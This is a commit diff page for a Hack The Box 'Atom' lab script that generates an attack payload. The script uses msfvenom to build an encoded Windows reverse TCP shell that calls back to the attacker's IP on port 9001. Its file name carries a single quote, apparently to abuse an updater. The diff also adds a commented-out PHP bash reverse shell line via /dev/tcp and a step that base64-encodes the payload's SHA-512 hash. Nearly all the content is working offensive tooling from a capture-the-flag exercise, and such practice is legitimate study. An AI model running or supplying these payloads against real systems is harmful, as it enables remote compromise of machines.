There was an error while loading. Please reload this page.
1 parent a46b81a commit 0e176cdCopy full SHA for 0e176cd
hack_the_box/atom/send-payload.sh renamed to hack_the_box/atom/gen-payload.sh
@@ -4,8 +4,12 @@ echo "$ip"
4
5
echo "Making payload..."
6
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=$ip LPORT=9001 -b "\x00" -e x86/shikata_ga_nai -f exe -o "heedv1'Setup1.0.1.exe"
7
+#echo "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/$ip/9001 0>&1'\") ?>" > "heedv1'Setup1.0.2.php.exe"
8
9
echo "Getting size of payload..."
10
size=$(stat -c%s "heedv1'Setup1.0.1.exe")
11
echo "$size"
12
13
+echo "Making base64..."
14
+b64=$(shasum -a 512 heedv1\'Setup1.0.1.exe | cut -d " " -f1 | xxd -r -p | base64)
15
+echo "$b64"
0 commit comments